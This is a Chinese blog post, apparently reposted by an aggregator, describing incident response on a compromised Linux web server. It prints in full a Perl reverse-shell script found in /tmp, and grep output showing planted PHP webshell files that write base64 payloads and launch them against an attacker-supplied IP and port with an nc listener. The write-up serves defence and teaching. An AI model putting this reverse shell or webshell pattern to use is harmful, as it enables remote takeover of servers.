Web服务器捉虫速记

一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为色情网站。 

马上登录服务器(半夜好困啊)。执行如下的步骤:
<!--[if !supportLists]-->1、 <!--[endif]-->检查系统帐号,看有没有异常帐号--如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为“…”极端不易察觉。
<!--[if !supportLists]-->2、 <!--[endif]-->检查最近登录用户的ip:last 查看9月9号以后到目前的情况,经确认,有一个ip来路不对。
<!--[if !supportLists]-->3、 <!--[endif]-->检查系统初始化文件inittab,运行级别为3,为发现异常。一些hacker喜欢在这里下手,加上respawn这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。
<!--[if !supportLists]-->4、 <!--[endif]-->检查运行级别目录的脚本,ls –al /etc/rc3.d ,未见异常。
<!--[if !supportLists]-->5、 <!--[endif]-->检查自动任务 crontab –l ,root用户和web运行用户www各检查一遍,未见任何异常。
<!--[if !supportLists]-->6、 <!--[endif]-->检查历史记录history 发现有安装sendmail的情形,问客户是否有这个,答:不是自己装的。
<!--[if !supportLists]-->7、 <!--[endif]-->检查web目录,发现其权限为777,这可让人不太放心了,心中猜想,可能是从这里下手了。
<!--[if !supportLists]-->8、 <!--[endif]-->检查一下目录/tmp,发现有个文件不太对劲,文件名是spider_bc,打开看一下,是个perl脚本,其内容为:

[root@localhost mysql]# more /tmp/spider_bc
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo"`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
据客户开发人员反应,这文件删除以后,一会又自动生成了。
<!--[if !supportLists]-->9、 <!--[endif]-->初步怀疑是hacker利用web权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行grep –r “spider” * ,片刻,结果出来了,下面节录部分:

[root@localhost www]# grep spider_bc * -r
/plusbak/viev.php:echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
/plusbak/viev.php:echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
/plusbak/viev.php:echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
/plusbak/viev.php:@unlink('/tmp/spider_bc.c');
/plusbak/viev.php:echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
/developers/FCKeditor/editor/skins/images/images.php:echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
/developers/FCKeditor/editor/skins/images/images.php:echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
/developers/FCKeditor/editor/skins/images/images.php:echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
/developers/FCKeditor/editor/skins/images/images.php:@unlink('/tmp/spider_bc.c');
/developers/FCKeditor/editor/skins/images/images.php:echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
/developers/developers/cache/default/index_sql.php :echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功<br>' : '创建/tmp/spider_bc失败<br>';
/developers/developers/cache/default/index_sql.php :echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
/developers/developers/cache/default/index_sql.php :echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功<br>' : '创建/tmp/spider_bc.c失败<br>';
/developers/developers/cache/default/index_sql.php :@unlink('/tmp/spider_bc.c');
/developers/developers/cache/default/index_sql.php :echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败';
9、问题基本查明,告知各方,先简单恢复,明日再战。
本文出自 “sery” 博客,请务必保留此出处http://sery.blog.51cto.com/10037/666829

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/404889.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

KEIL5 编译器导致的程序异常

STM32F407写程序过程中发现了一个KEIL5 ARM编译器导致的BUG&#xff0c;记录如下。 源代码比较简单&#xff0c;分别打印两个标志量的值&#xff0c;采用了volatile 声明&#xff0c;避免被优化。 代码功能不用多说&#xff0c;看一下输出结果&#xff1a; 两个标志量都被编译…

C++笔记(1)explicit构造函数

From: http://www.cnblogs.com/cutepig/archive/2009/01/14/1375917.html 按照默认规定&#xff0c;只有一个参数的构造函数也定义了一个隐式转换&#xff0c;将该构造函数对应数据类型的数据转换为该类对象&#xff0c;如下面所示&#xff1a;class String {String ( const …

高级软件工程课程第一次作业的小结

成果&#xff1a; 1&#xff09;各位同学按要求建立了自己博客&#xff0c;完善并反馈的相关信息 2&#xff09;对各自本科设计进行了分析&#xff0c;有的同学也写得比较详细&#xff0c;如曾秀、李文华、吴文兵等 存在的问题&#xff1a; 1&#xff09;对软件工程的认识较基础…

Windows中添加svnserve作为系统服务

安装subversion后&#xff0c;其安装目录中有svnserve程序。 采用windows系统的sc命令将其添加为自动启动的系统服务&#xff1a; sc create MySVNServer binpath "D:\Program Files\Subversion\bin\svnserve.exe --service -r G:\Repositories" displayname "S…

[react] 在React中如何引入图片?哪种方式更好?

[react] 在React中如何引入图片&#xff1f;哪种方式更好&#xff1f; 第一种导入&#xff1a; import Img from "./images/1.png" 第二种直接获取图片&#xff1a; <img src{require("./images/1.png")} alt""/> 个人简介 我是歌谣&a…

STM32F407控制AD7606 采用HAL库的TIM和SPI

前言 本文介绍基于STM32F407的AD7606 8通道同步采集控制方式&#xff0c;总体思路&#xff1a;PWM驱动AD7606完成模数转换&#xff0c;AD7606转换完成后其BUSY引脚给出下降沿&#xff0c;STM32捕获外部中断并在中断服务程序中调用SPI串口读取AD7606数据&#xff0c;工程采用cu…

(转)二分图最大匹配的König定理及其证明

出处:http://www.matrix67.com/blog/archives/116 二分图最大匹配的Knig定理及其证明 如果你看不清楚第二个字母&#xff0c;下面有一个大号字体版本&#xff1a;二分图最大匹配的Knig定理及其证明 本文将是这一系列里最短的一篇&#xff0c;因为我只打算把Knig定理证了&…

如何使用struts2对集合参数进行验证

上一节介绍了struts2可以支持批量表单参数提交&#xff0c;那么提交到后台时如何利用strust2的validation框架对这个集合做验证&#xff1f; struts2提供了一个vistor校验器&#xff0c;可以实现这个需求 还是采用上一节中批量添加书籍的例子 1.jsp文件 <% taglib prefix&qu…

关于__attribute__ ((packed))

#include <iostream>using namespace std;typedef struct {unsigned char ver;unsigned char cmd;unsigned short id;unsigned short retcode; }__attribute__ ((packed)) ACKPACK_CMD;struct my {char ch; int a; }__attribute__ ((packed)); // 取消结构在编译过程中…

[react] React中验证props的目的是什么?

[react] React中验证props的目的是什么&#xff1f; 对属性进行强检验&#xff0c;避免运行时报错 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容易&#xff0c; 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题

[Axure教程]0001.新手入门基础

Axure RP是一个专业的快速原型设计工具。Axure&#xff08;发音&#xff1a;Ack-sure&#xff09;&#xff0c;代表美国Axure公司&#xff1b;RP则是Rapid Prototyping&#xff08;快速原型&#xff09;的缩写。Axure RP已被一些大公司采用。Axure RP的使用者主要包括商业分析师…

typedef和#define的作用域问题

#include <iostream>using namespace std;class A { #define MAX 5 // 宏定义是全局的&#xff0c;因为在预编译时就替换掉了public:typedef unsigned long ULONG; // 作用域局限在这个类中, 且有修饰符private:int _n;ULONG _age;public:A(int n, ULONG age);void …

【评论】GNU/Linux下有多少是GNU的?

导读&#xff1a;一个葡萄牙的学生写了一篇文章 《How much GNU is there in GNU/Linux?》由酷壳网的陈皓整理编译为《GNU/Linux下有多少是GNU的》。这篇文章主要分布了今年4月份的Ubuntu Natty的Linux分发包。其主要是用代码行来做的分析&#xff0c;用两个饼图对比分析。内容…

[react] 在React中怎么使用字体图标?

[react] 在React中怎么使用字体图标&#xff1f; 1、npm install --save react-fontawesome 2、npm install font-awesome 3、import ‘font-awesome/less/font-awesome.less’; 4、import ‘react-fontawesome’; 个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知…

Linux下scp命令的用法

scp 对拷文件夹 和 文件夹下的所有文件 对拷文件并重命名 对拷文件夹 (包括文件夹本身) scp -r /home/wwwroot/www/charts/util root192.168.1.65:/home/wwwroot/limesurvey_back/scp 对拷文件夹下所有文件 (不包括文件夹本身) scp /home/wwwroot/www/charts/util/* root19…

研究者展示黑客通过GPU绕过防毒软件查杀的方法

Slashdot网站近日刊登了一篇研究文章称黑客可以通过特殊手段利用电脑中的GPU来躲避杀毒软件的清查。在这份PDF文档中&#xff0c;研究者展示了黑 客如何 利用GPU来躲避杀毒软件查杀的方法&#xff0c;作者还表示类似的技巧还有可能会发展升级为更加复杂的攻击手段&#xff0c;如…

关于sprintf和snprintf的比较

#include <stdio.h> #include <string.h>typedef unsigned char uchar;#define BUF_SIZE 10 // 缓冲区大小 #define CLEAR_SIZE (BUF_SIZE2) // 操作的缓冲区大小, 需要全部重置void printRuler(int len) {putchar(\n);for(int i 1; i < len; i){printf…